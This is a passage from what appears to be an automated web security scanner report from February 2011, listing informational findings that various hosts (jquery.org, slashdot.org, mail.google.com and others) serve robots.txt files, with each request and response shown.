Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: img.constantcontact.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 19 Mar 2010 14:07:25 GMT
ETag: "9958f-389-48227dde5c140"
Pragma: no-cache
X-Powered-By:
Content-Type: text/plain
Vary: User-Agent
Cache-Control: private, no-cache, no-store, must-revalidate
Date: Sat, 05 Feb 2011 22:50:57 GMT
Content-Length: 905
Connection: close

# robots.txt file for Constant Contact image and archive servers
# the Robots Exclusion Standard specifies that a bot will respect
# the first record containing a User-agent prefix which matches t
...[SNIP]...

28.40. http://jlinks.industrybrains.com/jsct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jlinks.industrybrains.com
Path:	/jsct

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: jlinks.industrybrains.com

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 13:21:29 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Feb 2011 13:21:29 GMT
Content-Length: 26

User-agent: *
Disallow: /

28.41. http://jquery.org/license previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jquery.org
Path:	/license

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: jquery.org

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:51:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Cookie
X-Pingback: http://jquery.org/xmlrpc.php
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow:

28.42. http://jqueryui.com/about previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/about

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: jqueryui.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:08 GMT
Content-Type: text/plain
Connection: close
Last-Modified: Tue, 02 Nov 2010 19:50:26 GMT
ETag: "238013-27-494173c706480"
Accept-Ranges: bytes
Content-Length: 39
X-Served-By: www4
X-Proxy: 1

User-agent: *
Disallow: /repository/

28.43. http://l.addthiscdn.com/live/t00/250lo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.addthiscdn.com
Path:	/live/t00/250lo.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: l.addthiscdn.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 15 Dec 2010 17:19:30 GMT
ETag: "c6911c-1b-4977623d5ec80"
Content-Type: text/plain; charset=UTF-8
Date: Sat, 05 Feb 2011 23:07:33 GMT
Content-Length: 27
Connection: close

User-agent: *
Disallow: *

28.44. http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://linkhelp.clients.google.com
Path:	/tbproxy/lh/wm/fixurl.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: linkhelp.clients.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 01 Feb 2011 22:56:20 GMT
Date: Sat, 05 Feb 2011 22:51:17 GMT
Expires: Sat, 05 Feb 2011 22:51:17 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

28.45. http://mail.google.com/mail/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mail.google.com
Path:	/mail/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mail.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 01 Feb 2011 22:56:20 GMT
Date: Sat, 05 Feb 2011 23:03:14 GMT
Expires: Sat, 05 Feb 2011 23:03:14 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

28.46. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: malsup.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:24 GMT
Server: mod_security2/2.5.7
Last-Modified: Sat, 14 Aug 2010 19:30:00 GMT
ETag: "10cd75b-105-48dcda00f1e00"
Accept-Ranges: bytes
Content-Length: 261
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/plain; charset=UTF-8

# robots.txt for http://malsup.com/

User-agent: *
Disallow: /test
Disallow: /stage
Disallow: /dev
Disallow: /cgi-bin
Disallow: /images
Disallow: /script
Disallow: /webapps
Dis
...[SNIP]...

28.47. http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: metrics.blackberry.com

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:32:29 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:59:57 GMT
ETag: "95114-18-73736540"
Accept-Ranges: bytes
Content-Length: 24
xserver: www68
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

28.48. http://metrixlablw.customers.luna.net/p10833/tagger_v03.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrixlablw.customers.luna.net
Path:	/p10833/tagger_v03.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: metrixlablw.customers.luna.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:20 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Tue, 23 Feb 2010 14:11:08 GMT
ETag: "db020e-1a-480451eff7700"
Accept-Ranges: bytes
Content-Length: 26
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /

28.49. http://meyerweb.com/eric/thoughts/2007/04/14/reworked-reset/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://meyerweb.com
Path:	/eric/thoughts/2007/04/14/reworked-reset/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: meyerweb.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: Apache
Last-Modified: Mon, 28 Aug 2006 15:46:29 GMT
ETag: "23b8e8c-3c-41c15d453df40"
Accept-Ranges: bytes
Content-Length: 60
Connection: close
Content-Type: text/plain

User-agent: AboutUsBot
Disallow: /

User-agent: *
Disallow:

28.50. http://multiply.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://multiply.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: multiply.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Set-Cookie: language=en; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa TAIa PSAa PSDa OUR NOR PHY UNI COM DEM PRE"
Expires: Wed, 13 Apr 2005 10:02:00 GMT
Pragma: no-cache
Cache-Control: max-age=0
Content-Type: text/plain
X-Cache: MISS from multiply.com
Connection: close

User-agent: *
Disallow: /shop/bookmark
Disallow: /shop/printshop/add-recipients
Disallow: /shop/billing
Disallow: /shop/photobook/page
Disallow: /shop/receipt/outstanding
Disallow: /shop/checkout/set-
...[SNIP]...

28.51. http://newstrust.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://newstrust.net
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: newstrust.net

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 22:58:23 GMT
Content-Type: text/plain
Content-Length: 204
Last-Modified: Fri, 01 Oct 2010 04:08:43 GMT
Connection: close
Accept-Ranges: bytes

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow
...[SNIP]...

28.52. http://phonefavs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://phonefavs.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: phonefavs.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:38 GMT
Server: Apache/2.0.54
Last-Modified: Thu, 17 Dec 2009 22:35:55 GMT
ETag: "140e7b83-e5-3f08e8c0"
Accept-Ranges: bytes
Content-Length: 229
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain

# HELLO ROBOTS!!!
# THIS IS PHONEFAVS.COM

User-agent: Mediapartners-Google
Allow: /

User-agent: Googlebot-Mobile
Allow: /

User-agent: *
Disallow: /m/
Disallow: /mob/
Disallow: /share/
Disallow: /d
...[SNIP]...

28.53. http://posterous.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://posterous.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: posterous.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 22:58:38 GMT
Content-Type: text/plain
Content-Length: 122
Last-Modified: Fri, 17 Dec 2010 01:11:53 GMT
Connection: close
Expires: Mon, 07 Mar 2011 22:58:38 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes

User-agent: *
Disallow: /private/
Disallow: /posts/deferred_content
Disallow: /emails
Disallow: /users
Disallow: /members

28.54. http://pulse.plaxo.com/pulse/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pulse.plaxo.com
Path:	/pulse/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: pulse.plaxo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:39 GMT
Server: Apache
Last-Modified: Wed, 02 Feb 2011 19:19:25 GMT
ETag: "4e0ffc-493-86ea4940"
Accept-Ranges: bytes
Content-Length: 1171
Vary: Accept-Encoding
_eep-Alive: timeout=45
_onnection: Keep-Alive
Content-Type: text/plain
Connection: close

User-agent: *
Disallow: /opt_out?r=
Disallow: /opt-out?r=
Disallow: /edit_contact_info
Disallow: /opt_out?
Disallow: /add_me?
Disallow: /pulse/events/
Disallow: /pulse/profile/fetchEventData
Disallow:
...[SNIP]...

28.55. http://rbytes.net/design/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rbytes.net
Path:	/design/style.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: rbytes.net

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 22:54:14 GMT
Content-Type: text/plain
Content-Length: 233
Last-Modified: Sat, 03 May 2008 22:44:03 GMT
Connection: close
Accept-Ranges: bytes

User-agent: *
Disallow: /cgi-bin/
Disallow: /soft/cat/
#Disallow: /mac/
#Disallow: /telecharger/
#Disallow: /linux/
#Disallow: /mobile/
#Disallow: /pocketpc/

User-agent: psbot
Disallow: /

User-agent
...[SNIP]...

28.56. http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.ytimg.com
Path:	/yt/cssbin/www-embed-vflPrzZNL.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: s.ytimg.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Fri, 27 Aug 2010 02:31:32 GMT
Date: Sat, 05 Feb 2011 22:59:03 GMT
Expires: Sat, 05 Feb 2011 22:59:03 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 37
X-XSS-Protection: 1; mode=block

User-Agent: *
Disallow: /
Noindex: /

28.57. http://s7.addthis.com/static/r07/widget51.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s7.addthis.com
Path:	/static/r07/widget51.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: s7.addthis.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 13 Jan 2011 11:39:00 GMT
ETag: "d2810f-1b-499b8c382bd00"
Content-Type: text/plain; charset=UTF-8
Date: Sat, 05 Feb 2011 23:33:56 GMT
Content-Length: 27
Connection: close

User-agent: *
Disallow: *

28.58. http://shop.vodafone.de/micropages/cookie-setting-page.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.vodafone.de
Path:	/micropages/cookie-setting-page.htm

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: shop.vodafone.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:41:23 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Content-Length: 410
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

# robots.txt for shop.vodafone.de

# Sitemap
Sitemap: http://shop.vodafone.de/Shop/sitemap.xml

User-agent: *
Disallow: /*?
Allow: /*accessory_detail.jsp?
Allow: /*voucher_detail.jsp?

Allow: /Shop/b
...[SNIP]...

28.59. http://slashdot.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://slashdot.org
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: slashdot.org

Response

HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: My full name is Bender Bending Rodriguez.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Last-Modified: Thu, 03 Feb 2011 21:23:20 GMT
ETag: "15f42f-503-4d4b1cc8"
Content-Type: text/plain
Content-Length: 1283
Date: Sat, 05 Feb 2011 22:59:20 GMT
X-Varnish: 968454444
Age: 0
Connection: close

# robots.txt for Slashdot.org
# $Id$
# "Any empty [Disallow] value, indicates that all URLs can be retrieved.
# At least one Disallow field needs to be present in a record."

User-agent: Mediapartners
...[SNIP]...

28.60. http://smaknews.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://smaknews.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: smaknews.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:59:20 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
X-Pingback: http://www.smaknews.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow:

28.61. http://social.expression.microsoft.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://social.expression.microsoft.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: social.expression.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: text/plain
Last-Modified: Thu, 13 Jan 2011 01:43:26 GMT
Accept-Ranges: bytes
ETag: "0333a45c3b2cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI
Server: CO1VB39
Date: Sat, 05 Feb 2011 22:59:19 GMT
Connection: keep-alive
Content-Length: 1948

...#
# ------------ FORUMS --------------------
#

Sitemap: http://social.msdn.microsoft.com/forums/sitemap
Sitemap: http://social.technet.microsoft.com/forums/sitemap
Sitemap: http://social.e
...[SNIP]...

28.62. http://social.msdn.microsoft.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://social.msdn.microsoft.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: social.msdn.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: text/plain
Last-Modified: Thu, 13 Jan 2011 01:43:26 GMT
Accept-Ranges: bytes
ETag: "0333a45c3b2cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI
Server: CO1VB43
Date: Sat, 05 Feb 2011 22:59:20 GMT
Connection: keep-alive
Content-Length: 1948

...#
# ------------ FORUMS --------------------
#

Sitemap: http://social.msdn.microsoft.com/forums/sitemap
Sitemap: http://social.technet.microsoft.com/forums/sitemap
Sitemap: http://social.e
...[SNIP]...

28.63. http://social.technet.microsoft.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://social.technet.microsoft.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: social.technet.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: text/plain
Last-Modified: Thu, 13 Jan 2011 01:43:26 GMT
Accept-Ranges: bytes
ETag: "0333a45c3b2cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP=ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI
Server: CO1VB46
Date: Sat, 05 Feb 2011 22:59:20 GMT
Connection: keep-alive
Content-Length: 1948

...#
# ------------ FORUMS --------------------
#

Sitemap: http://social.msdn.microsoft.com/forums/sitemap
Sitemap: http://social.technet.microsoft.com/forums/sitemap
Sitemap: http://social.e
...[SNIP]...

28.64. http://spe.redcated/ds/NMMRTUMISITP/FY11_Cloud_Scenario/CLD_W1DISWSSFAW_FxCDP_G_300x250_V1R1.swf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spe.redcated
Path:	/ds/NMMRTUMISITP/FY11_Cloud_Scenario/CLD_W1DISWSSFAW_FxCDP_G_300x250_V1R1.swf

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: spe.redcated

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Content-Length: 68
Allow: GET
Expires: Sat, 12 Feb 2011 09:30:40 GMT
Date: Sun, 06 Feb 2011 13:22:29 GMT
Connection: close

User-agent: *
Disallow: /

User-Agent: AdsBot-Google
Disallow:

28.65. http://sphinn.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sphinn.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: sphinn.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:59:25 GMT
Server: Apache/2.2
Last-Modified: Thu, 15 Apr 2010 00:14:50 GMT
ETag: "5bbc07f-695-4843b62101280"
Accept-Ranges: bytes
Content-Length: 1685
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /hot/SEO/
Disallow: /hot/PPC/
Disallow: /hot/SEM/
Disallow: /hot/SocialMedia/
Disallow: /hot/LinkBuilding/
Disallow: /hot/Analytics/
Disallow: /hot/DisplayAds/
Disallow: /hot/D
...[SNIP]...

28.66. http://spongecell.com/api/widgets/clickthrough/263365 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spongecell.com
Path:	/api/widgets/clickthrough/263365

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: spongecell.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 23:01:19 GMT
Content-Type: text/plain
Content-Length: 42
Last-Modified: Fri, 06 Aug 2010 01:11:11 GMT
Connection: close
Vary: Accept-Encoding
Accept-Ranges: bytes

User-agent: *
Disallow: /event/event_new/

28.67. http://static.ak.fbcdn.net/rsrc.php/yt/r/CJLVmfhHQeD.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/yt/r/CJLVmfhHQeD.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
Date: Sat, 05 Feb 2011 23:01:19 GMT
Content-Length: 2553
Connection: close

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

28.68. http://statistics.wibiya.com/SetToolbarLoad.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statistics.wibiya.com
Path:	/SetToolbarLoad.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: statistics.wibiya.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny6 with Suhosin-Patch
Last-Modified: Sun, 02 May 2010 10:18:11 GMT
ETag: "8c587-19-48599cb1cdec0"
Accept-Ranges: bytes
Content-Length: 25
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /

28.69. http://tipd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: tipd.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 26 Feb 2009 18:32:47 GMT
ETag: "7109bd4-12d-942d71c0"
Accept-Ranges: bytes
Content-Length: 301
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /3rdparty/
Disallow: /backup/
Disallow: /cache/
Disallow: /install/
Disallow: /internal/
Disallow: /libs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /templates/
Disallow
...[SNIP]...

28.70. http://tools.ietf.org/html/rfc2234] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tools.ietf.org
Path:	/html/rfc2234]

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: tools.ietf.org

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:43 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Mon, 26 Apr 2010 11:19:22 GMT
ETag: "153315-13ed-48521f2dfa280"
Accept-Ranges: bytes
Content-Length: 5101
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /
Disallow: /*

User-agent: Wget
Disallow: /cgi/
Disallow: /team/
Disallow: /tools/xml2rfc/
Disallow: /rfcdiff?
Disallow: /idnits?
Disallow: /wg/*/trac/*?
Disallow: /wg/*/trac/
...[SNIP]...

28.71. http://tracker.icerocket.com/services/gatherer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracker.icerocket.com
Path:	/services/gatherer.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: tracker.icerocket.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:33 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n-fips mod_wsgi/3.2 Python/2.6
Last-Modified: Sat, 04 Apr 2009 03:12:21 GMT
ETag: "92a-2b-466b208946f40"
Accept-Ranges: bytes
Content-Length: 43
Connection: close
Content-Type: text/plain
Set-Cookie: SERVERID=C; path=/
Cache-control: private

User-agent: *
Disallow: /project.info.php

28.72. http://unalog.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://unalog.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: unalog.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:52 GMT
Server: Apache
Last-Modified: Tue, 26 Jan 2010 06:03:09 GMT
ETag: "d86f7-39-47e0b0a46e140"
Accept-Ranges: bytes
Content-Length: 57
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /my/stack/link
Disallow: /search

28.73. http://us.blackberry.com/eng/devices/blackberrytorch.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://us.blackberry.com
Path:	/eng/devices/blackberrytorch.jsp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: us.blackberry.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Tue, 21 Sep 2010 20:32:36 GMT
ETag: "6f8101-325-ede76100"
Content-Type: text/plain; charset=UTF-8
Date: Sat, 05 Feb 2011 22:38:12 GMT
Content-Length: 805
Connection: close

User-agent: *

Disallow: /eng/support/installation.jsp
Disallow: /eng/services/internet/upgrade/att/
Disallow: /eng/services/internet/upgrade/features.jsp
Disallow: /eng/services/internet/upgrade
...[SNIP]...

28.74. http://uselessjunk.com/article_full.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://uselessjunk.com
Path:	/article_full.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: uselessjunk.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:08 GMT
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Wed, 12 Nov 2008 04:09:18 GMT
ETag: "42159-16-45b7628f11780"
Accept-Ranges: bytes
Content-Length: 22
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-Agent: *
Allow: /

28.75. http://vodpod.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vodpod.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: vodpod.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.50
Date: Sat, 05 Feb 2011 22:41:51 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: _vodpod_session=BAh7BjoPc2Vzc2lvbl9pZCIlZGMwZWZlNTViYWI3ZTg4ZjM3NTU4Mjg5NzlkNGM3YmM%3D--9fe6240394fad1071d942ec3cee9ad59ab9f90ff; path=/; expires=Tue, 01-Jan-2030 06:00:00 GMT; HttpOnly
Status: 200
ETag: "67e16e6944c1c2d6c5cd104ed9482505"
X-Runtime: 53
Cache-Control: max-age=3600, public
Content-Length: 820
Expires: Sat, 05 Feb 2011 23:41:51 GMT
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"

Sitemap: http://vodpod.com/sitemap_index.xml

User-agent: twiceler
Crawl-delay: 3600

User-agent: *
Disallow: /pod/show_video
Disallow: /group/show_video
Disallow: /profile
Disallow: /video/get_activi
...[SNIP]...

28.76. http://www.ad4mat.de/ads/conbanner_bild1.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ad4mat.de
Path:	/ads/conbanner_bild1.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.ad4mat.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:39:39 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
Last-Modified: Wed, 19 May 2010 15:26:45 GMT
ETag: "2983fe-2f-486f415ef7740"
Accept-Ranges: bytes
Content-Length: 47
Connection: close
Content-Type: text/plain
Set-Cookie: ad4mat_lb=616182620.20480.0000; path=/

User-agent: *
Disallow: /ads/
Disallow: /admin/

28.77. http://www.addtoany.com/email previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.addtoany.com
Path:	/email

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.addtoany.com

Response

HTTP/1.1 200 OK
Last-Modified: Thu, 09 Jul 2009 09:08:31 GMT
Accept-Ranges: bytes
Content-Length: 42
Content-Type: text/plain
Date: Sat, 05 Feb 2011 22:38:21 GMT
Server: Apache
ETag: "27ec-2a-4a55b38f"
Via: 1.1 vhost.phx2.nearlyfreespeech.net:3128 (squid/2.7.STABLE7)
Connection: close

User-Agent: *
Disallow: /add_to/*
Allow: /

28.78. http://www.allvoices.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.allvoices.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:24 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 04 Feb 2011 19:45:42 GMT
ETag: "20a8018-475-49b7a20982580"
